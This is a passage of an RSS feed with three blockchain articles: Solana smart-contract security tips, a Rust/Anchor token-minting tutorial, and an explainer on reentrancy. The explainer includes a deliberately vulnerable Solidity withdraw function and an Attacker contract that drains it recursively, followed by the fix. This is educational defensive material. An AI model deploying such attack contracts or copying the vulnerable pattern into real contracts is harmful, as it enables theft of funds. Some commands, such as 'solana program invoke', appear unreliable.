&lt;p&gt;Given these factors, securing your smart contract should be a top priority.&lt;/p&gt;
&lt;p&gt;Step 1: Understand the Basics of Solana Smart Contracts&lt;/p&gt;
&lt;p&gt;Solana smart contracts, also known as &quot;programs,&quot; are typically written in Rust due to its performance and safety features. Before securing your contract, ensure you understand the following:&lt;/p&gt;
&lt;p&gt;Anchor Framework: Anchor is a popular framework for building Solana programs. It simplifies many aspects of development, including account management and error handling.&lt;/p&gt;
&lt;p&gt;Program Derived Addresses (PDAs): PDAs are used to create accounts that are controlled by your program. They play a critical role in ensuring security.&lt;/p&gt;
&lt;p&gt;CPIs (Cross-Program Invocations): Your program may interact with other programs on Solana. Understanding how CPIs work is essential for securing your contract.&lt;/p&gt;
&lt;p&gt;Step 2: Follow Best Practices for Writing Secure Rust Code&lt;/p&gt;
&lt;p&gt;Rust is known for its memory safety and concurrency features, but writing secure code still requires discipline. Here are some best practices:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use Safe Math Operations&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Overflow and underflow are common vulnerabilities in smart contracts. Always use safe math libraries or built-in Rust functions to prevent these issues. For example, instead of using + or -, use methods like checked_add() and checked_sub():&lt;/p&gt;
&lt;p&gt;let a = 100;&lt;br&gt;
let b = 200;&lt;/p&gt;
&lt;p&gt;// Safe addition&lt;br&gt;
if let Some(result) = a.checked_add(b) {&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Proceed with the operation
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;} else {&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Handle overflow
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Validate Inputs&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Always validate inputs to your smart contract. Malicious users may try to pass invalid data to exploit your program. Use assertions and checks to ensure inputs meet your expectations:&lt;/p&gt;
&lt;p&gt;assert!(amount &amp;gt; 0, &quot;Amount must be greater than zero&quot;);&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Avoid Reentrancy Attacks&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Reentrancy attacks occur when a malicious contract calls back into your contract before the initial call completes. To prevent this, follow the &quot;Checks-Effects-Interactions&quot; pattern:&lt;/p&gt;
&lt;p&gt;Checks: Validate all conditions first.&lt;/p&gt;
&lt;p&gt;Effects: Update the state of your contract.&lt;/p&gt;
&lt;p&gt;Interactions: Interact with external contracts or accounts.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use PDAs Correctly&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;PDAs are a powerful feature in Solana, but they must be used correctly to avoid security risks. Ensure that:&lt;/p&gt;
&lt;p&gt;PDAs are derived using a unique seed.&lt;/p&gt;
&lt;p&gt;Only your program can sign for PDAs.&lt;/p&gt;
&lt;p&gt;let (pda, bump_seed) = Pubkey::find_program_address(&amp;amp;[b&quot;my_seed&quot;], &amp;amp;program_id);&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Limit Privileges&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Minimize the privileges of your smart contract. Only allow necessary operations and restrict access to sensitive functions. For example, if only the admin should be able to mint new tokens, ensure that the mint function checks the caller’s authority:&lt;/p&gt;
&lt;p&gt;if *authority.key != admin_pubkey {&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;return Err(ProgramError::InvalidAccountData);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;Step 3: Test Thoroughly&lt;/p&gt;
&lt;p&gt;Testing is a critical part of securing your smart contract. Here are some strategies:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Unit Tests&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Write unit tests for individual functions to ensure they behave as expected. Use the #[test] attribute in Rust to define test cases:&lt;/p&gt;
&lt;h2 id=&quot;-test-&quot;&gt;[test]&lt;/h2&gt;
&lt;p&gt;fn test_safe_addition() {&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let a = 100;
let b = 200;
assert_eq!(a.checked_add(b), Some(300));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Integration Tests&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Integration tests simulate real-world scenarios by testing interactions between different parts of your program. Use the Anchor framework’s testing utilities to write integration tests:&lt;/p&gt;
&lt;h2 id=&quot;-tokio-test-&quot;&gt;[tokio::test]&lt;/h2&gt;
&lt;p&gt;async fn test_mint_token() {&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let mut context = setup_test_environment().await;
let result = mint_token(&amp;amp;mut context).await;
assert!(result.is_ok());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fuzz Testing&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Fuzz testing involves feeding random inputs into your program to uncover edge cases. Tools like cargo-fuzz can help you perform fuzz testing on your Rust code.&lt;/p&gt;
&lt;p&gt;Step 4: Conduct a Security Audit&lt;/p&gt;
&lt;p&gt;Even with thorough testing, it’s essential to have your smart contract audited by a third-party security firm. A professional audit can uncover vulnerabilities that you might have missed. During the audit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Provide clear documentation of your code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Explain the intended behavior of each function.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Address any issues raised by the auditors.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Step 5: Deploy Safely&lt;/p&gt;
&lt;p&gt;Once your smart contract has been tested and audited, you’re ready to deploy. However, take the following precautions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Deploy on Testnet First&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Before deploying on the mainnet, test your contract on Solana’s testnet. This allows you to identify any issues in a low-stakes environment.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use a Timelock for Upgrades&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If your contract supports upgrades, consider using a timelock mechanism. This ensures that any changes to the contract take effect only after a specified delay, giving users time to react.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Monitor After Deployment&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After deploying your contract, monitor its activity closely. Use tools like Solana Explorer or custom dashboards to track transactions and detect anomalies.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Final Thoughts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Securing a smart contract built with Rust for Solana is a multi-step process that involves careful coding, rigorous testing, and professional auditing. By following the best practices outlined in this article, you can significantly reduce the risk of vulnerabilities and ensure that your token minting and deployment go smoothly.&lt;/p&gt;
&lt;p&gt;Remember, security is an ongoing process. Even after deployment, stay vigilant and keep your contract updated to address any emerging threats. With the right approach, you can build a secure and successful project on Solana.&lt;/p&gt;
</description>
<category>Blockchain Sec</category>
<guid isPermaLink="true">https://coderlegion.com/1199/securing-a-smart-contract-built-with-rust-for-solana</guid>
<pubDate>Sat, 22 Feb 2025 03:18:28 +0000</pubDate>
</item>
<item>
<title>Building a Smart Contract in Rust for Solana: Minting and Deploying a New Token</title>
<link>https://coderlegion.com/1165/building-a-smart-contract-in-rust-for-solana-minting-and-deploying-a-new-token</link>
<description>&lt;h2 id=&quot;minting-and-deploying-a-new-token&quot;&gt;Minting and Deploying a New Token&lt;/h2&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Solana is one of the fastest-growing blockchain platforms, renowned for its high throughput and low transaction fees. One of the most exciting features of Solana is its ability to support smart contracts written in Rust, a systems programming language that emphasizes safety, concurrency, and performance. In this article, we will walk you through the process of creating a smart contract in Rust for Solana, minting a new token, and deploying it on the Solana network.&lt;/p&gt;
&lt;p&gt;By the end of this guide, you'll have a fully functional token minted and deployed on Solana's testnet. Let’s get started!&lt;/p&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;Before diving into the development process, ensure you have the following tools installed:&lt;/p&gt;
&lt;p&gt;Rust: Install Rust by following the instructions on rust-lang.org.&lt;/p&gt;
&lt;p&gt;Solana CLI: Install the Solana Command-Line Interface (CLI) by following the instructions on solana.com.&lt;/p&gt;
&lt;p&gt;Anchor Framework: Anchor is a framework for building Solana programs in Rust. Install it using cargo:&lt;/p&gt;
&lt;p&gt;   cargo install --git &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/project-serum/anchor&quot;&gt;https://github.com/project-serum/anchor&lt;/a&gt; anchor-cli --locked&lt;/p&gt;
&lt;p&gt;Node.js and Yarn: These are required for frontend integration if needed. You can download them from nodejs.org and yarnpkg.com.&lt;/p&gt;
&lt;h2 id=&quot;step-1-setting-up-your-development-environment&quot;&gt;Step 1: Setting Up Your Development Environment&lt;/h2&gt;
&lt;h3 id=&quot;create-a-new-anchor-project&quot;&gt;Create a New Anchor Project&lt;/h3&gt;
&lt;p&gt;To create a new project, use the anchor CLI:&lt;/p&gt;
&lt;p&gt;anchor init my_token_program&lt;br&gt;
cd my_token_program&lt;/p&gt;
&lt;p&gt;This command initializes a new Anchor project with the necessary structure and dependencies.&lt;/p&gt;
&lt;h3 id=&quot;update-the-cargo-toml-file&quot;&gt;Update the Cargo.toml File&lt;/h3&gt;
&lt;p&gt;Navigate to the programs/my_token_program/Cargo.toml file and ensure the dependencies include the Solana Program Library (SPL). The SPL provides utilities for token creation and management.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[dependencies]
anchor-lang = &quot;0.28.0&quot;
anchor-spl = &quot;0.28.0&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;step-2-writing-the-smart-contract&quot;&gt;Step 2: Writing the Smart Contract&lt;/h2&gt;
&lt;p&gt;The smart contract will define the logic for minting a new token. We'll use the SPL Token program, which is a standard for creating fungible tokens on Solana.&lt;/p&gt;
&lt;h3 id=&quot;define-the-instruction&quot;&gt;Define the Instruction&lt;/h3&gt;
&lt;p&gt;In the programs/my_token_program/src/lib.rs file, define an instruction to mint a new token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use anchor_lang::prelude::*;
use anchor_spl::token::{self, Mint, Token, TokenAccount};

declare_id!(&quot;Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS&quot;);

#[program]
pub mod my_token_program {
    use super::*;

    pub fn mint_token(ctx: Context&amp;lt;MintToken&amp;gt;, amount: u64) -&amp;gt; Result&amp;lt;()&amp;gt; {
        msg!(&quot;Minting {} tokens&quot;, amount);

        // Mint tokens to the associated token account
        token::mint_to(
            CpiContext::new(
                ctx.accounts.token_program.to_account_info(),
                token::MintTo {
                    mint: ctx.accounts.mint.to_account_info(),
                    to: ctx.accounts.destination.to_account_info(),
                    authority: ctx.accounts.authority.to_account_info(),
                },
            ),
            amount,
        )?;

        Ok(())
    }
}

#[derive(Accounts)]
pub struct MintToken&amp;lt;'info&amp;gt; {
    #[account(mut)]
    pub mint: Account&amp;lt;'info, Mint&amp;gt;,
    #[account(mut)]
    pub destination: Account&amp;lt;'info, TokenAccount&amp;gt;,
    /// CHECK: This is the authority of the mint
    pub authority: AccountInfo&amp;lt;'info&amp;gt;,
    pub token_program: Program&amp;lt;'info, Token&amp;gt;,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;explanation-of-the-code&quot;&gt;Explanation of the Code&lt;/h3&gt;
&lt;p&gt;Instruction Definition: The mint_token function defines the logic for minting tokens. It takes two parameters: the context (ctx) and the amount of tokens to mint.&lt;/p&gt;
&lt;p&gt;CPI Call: The token::mint_to function is a Cross-Program Invocation (CPI) call to the SPL Token program, which handles the actual minting of tokens.&lt;/p&gt;
&lt;p&gt;Accounts: The MintToken struct specifies the accounts required for the instruction:&lt;/p&gt;
&lt;p&gt;mint: The token mint account.&lt;/p&gt;
&lt;p&gt;destination: The account where the tokens will be minted.&lt;/p&gt;
&lt;p&gt;authority: The authority account that has permission to mint tokens.&lt;/p&gt;
&lt;p&gt;token_program: The SPL Token program.&lt;/p&gt;
&lt;h2 id=&quot;step-3-compiling-the-program&quot;&gt;Step 3: Compiling the Program&lt;/h2&gt;
&lt;p&gt;Compile the program using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;anchor build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command compiles the Rust code into a binary format that can be deployed on the Solana network.&lt;/p&gt;
&lt;h2 id=&quot;step-4-deploying-the-program&quot;&gt;Step 4: Deploying the Program&lt;/h2&gt;
&lt;p&gt;Deploy the compiled program to the Solana testnet:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;anchor deploy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command uploads the program to the Solana testnet and returns the program ID, which is essential for interacting with the program.&lt;/p&gt;
&lt;h2 id=&quot;step-5-minting-a-new-token&quot;&gt;Step 5: Minting a New Token&lt;/h2&gt;
&lt;p&gt;To mint a new token, follow these steps:&lt;/p&gt;
&lt;h3 id=&quot;create-a-mint-account&quot;&gt;Create a Mint Account&lt;/h3&gt;
&lt;p&gt;Use the Solana CLI to create a mint account:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;spl-token create-token
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command generates a new mint account and outputs the mint address.&lt;/p&gt;
&lt;h3 id=&quot;create-an-associated-token-account&quot;&gt;Create an Associated Token Account&lt;/h3&gt;
&lt;p&gt;Next, create an associated token account for the mint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;spl-token create-account &amp;lt;MINT_ADDRESS&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace  with the address of the mint account created in the previous step.&lt;/p&gt;
&lt;h3 id=&quot;mint-tokens-using-the-smart-contract&quot;&gt;Mint Tokens Using the Smart Contract&lt;/h3&gt;
&lt;p&gt;Finally, use the anchor CLI or a custom script to invoke the mint_token instruction. Here's an example using the Solana CLI:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;solana program invoke &amp;lt;PROGRAM_ID&amp;gt; \
--accounts mint=&amp;lt;MINT_ADDRESS&amp;gt; \
destination=&amp;lt;TOKEN_ACCOUNT_ADDRESS&amp;gt; \
authority=&amp;lt;AUTHORITY_KEYPAIR&amp;gt; \
token-program=TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA \
--args amount=1000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace the placeholders with the appropriate values:&lt;/p&gt;
&lt;p&gt;: The ID of your deployed program.&lt;/p&gt;
&lt;p&gt;: The address of the mint account.&lt;/p&gt;
&lt;p&gt;: The address of the associated token account.&lt;/p&gt;
&lt;p&gt;: The keypair of the mint authority.&lt;/p&gt;
&lt;h2 id=&quot;conclusion-1&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;In this article, we walked through the process of creating a smart contract in Rust for Solana, minting a new token, and deploying it on the Solana testnet. By leveraging the power of Rust and the Anchor framework, developers can build efficient and secure smart contracts for decentralized applications.&lt;/p&gt;
&lt;p&gt;Feel free to experiment with additional features, such as transferring tokens, burning tokens, or implementing custom token logic. Happy coding!&lt;/p&gt;
</description>
<category>Blockchain</category>
<guid isPermaLink="true">https://coderlegion.com/1165/building-a-smart-contract-in-rust-for-solana-minting-and-deploying-a-new-token</guid>
<pubDate>Thu, 20 Feb 2025 08:49:07 +0000</pubDate>
</item>
<item>
<title>Smart Contract Bug: Reentrancy Attacks and How to Fix Them</title>
<link>https://coderlegion.com/1162/smart-contract-bug-reentrancy-attacks-and-how-to-fix-them</link>
<description>&lt;h2 id=&quot;reentrancy-attack&quot;&gt;Reentrancy Attack&lt;/h2&gt;
&lt;p&gt;In the world of Web3 and decentralized applications (dApps), smart contracts are the backbone of blockchain functionality. However, they are not immune to vulnerabilities. One of the most notorious and common bugs in smart contracts is the reentrancy attack. This article will explain what a reentrancy attack is, how it can be exploited, and provide a solution to prevent it. Finally, we’ll introduce how Web3Dev, a leading Web3 development agency, can help you build secure and robust decentralized systems.&lt;/p&gt;
&lt;h2 id=&quot;what-is-a-reentrancy-attack-&quot;&gt;What is a Reentrancy Attack?&lt;/h2&gt;
&lt;p&gt;A reentrancy attack occurs when a malicious contract exploits a vulnerability in a target contract to repeatedly call a function before the initial function execution is complete. This is often done during a withdrawal or transfer of funds, allowing the attacker to drain the contract’s balance.&lt;/p&gt;
&lt;p&gt;The most famous example of this vulnerability was the DAO hack in 2016, where an attacker drained over $50 million worth of Ether by exploiting a reentrancy bug.&lt;/p&gt;
&lt;h2 id=&quot;how-does-a-reentrancy-attack-work&quot;&gt;How Does a Reentrancy Attack Work&lt;/h2&gt;
&lt;p&gt;Here’s a simplified example of a vulnerable smart contract:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pragma solidity ^0.8.0;

contract Vulnerable {
    mapping(address =&amp;gt; uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] &amp;gt;= _amount, &quot;Insufficient balance&quot;);
        (bool success, ) = msg.sender.call{value: _amount}(&quot;&quot;);
        require(success, &quot;Transfer failed&quot;);
        balances[msg.sender] -= _amount;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this contract, the withdraw function sends Ether to the caller before updating their balance. An attacker can exploit this by deploying a malicious contract that recursively calls the withdraw function before the balance is updated. Here’s how:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;contract Attacker {
    Vulnerable public vulnerable;

    constructor(address _vulnerable) {
        vulnerable = Vulnerable(_vulnerable);
    }

    function attack() public payable {
        vulnerable.deposit{value: msg.value}();
        vulnerable.withdraw(msg.value);
    }

    receive() external payable {
        if (address(vulnerable).balance &amp;gt;= msg.value) {
            vulnerable.withdraw(msg.value);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The receive function in the attacker’s contract allows it to repeatedly call the withdraw function, draining the vulnerable contract’s funds.&lt;/p&gt;
&lt;h2 id=&quot;the-fix-use-checks-effects-interactions-pattern&quot;&gt;The Fix: Use Checks-Effects-Interactions Pattern&lt;/h2&gt;
&lt;p&gt;To prevent reentrancy attacks, developers should follow the Checks-Effects-Interactions (CEI) pattern. This means:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Checks: Validate all conditions before executing logic.&lt;/li&gt;
&lt;li&gt;Effects: Update the contract’s state (e.g., balances).&lt;/li&gt;
&lt;li&gt;Interactions: Interact with external contracts or addresses.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here’s the fixed version of the withdraw function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function withdraw(uint256 _amount) public {
    require(balances[msg.sender] &amp;gt;= _amount, &quot;Insufficient balance&quot;);
    balances[msg.sender] -= _amount; // Update balance first
    (bool success, ) = msg.sender.call{value: _amount}(&quot;&quot;);
    require(success, &quot;Transfer failed&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By updating the balance before sending Ether, the contract ensures that even if the attacker recursively calls the function, their balance will already be zero, preventing further withdrawals.&lt;/p&gt;
&lt;p&gt;At Web3Dev, we specialize in building secure, scalable, and innovative Web3 solutions. Our team of experienced blockchain developers and security experts can help you avoid common pitfalls that can be very costly.&lt;/p&gt;
&lt;h2 id=&quot;additional-security-measures&quot;&gt;Additional Security Measures&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Use Reentrancy Guards: OpenZeppelin’s ReentrancyGuard is a widely-used library that provides a modifier to prevent reentrancy. import &quot;@openzeppelin/contracts/security/ReentrancyGuard.sol&quot;; contract Secure is ReentrancyGuard { function withdraw(uint256 _amount) public nonReentrant { // Safe withdrawal logic } }&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Limit External Calls: Minimize interactions with external contracts or addresses, especially when handling funds.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Audit Your Code: Regularly audit your smart contracts for vulnerabilities using tools like Slither, MythX, or professional auditing services.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;how-web3dev-can-help&quot;&gt;How Web3Dev Can Help&lt;/h2&gt;
&lt;p&gt;At Web3Dev, we specialize in building secure, scalable, and innovative Web3 solutions. Our team of experienced blockchain developers and security experts can help you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Develop Secure Smart Contracts: We follow best practices and implement robust security measures to protect your dApps from vulnerabilities like reentrancy attacks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Conduct Smart Contract Audits: Our thorough auditing process identifies and fixes potential vulnerabilities before deployment.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Build Custom dApps: From DeFi platforms to NFT marketplaces, we create tailored solutions to meet your business needs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Provide Ongoing Support: We offer maintenance and support services to ensure your dApps remain secure and up-to-date.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Don’t let vulnerabilities compromise your Web3 project. Partner with Web3Dev to build with confidence and security.&lt;/p&gt;
</description>
<category>Blockchain</category>
<guid isPermaLink="true">https://coderlegion.com/1162/smart-contract-bug-reentrancy-attacks-and-how-to-fix-them</guid>
<pubDate>Wed, 19 Feb 2025 22:00:45 +0000</pubDate>
</item>
</channel>
</rss>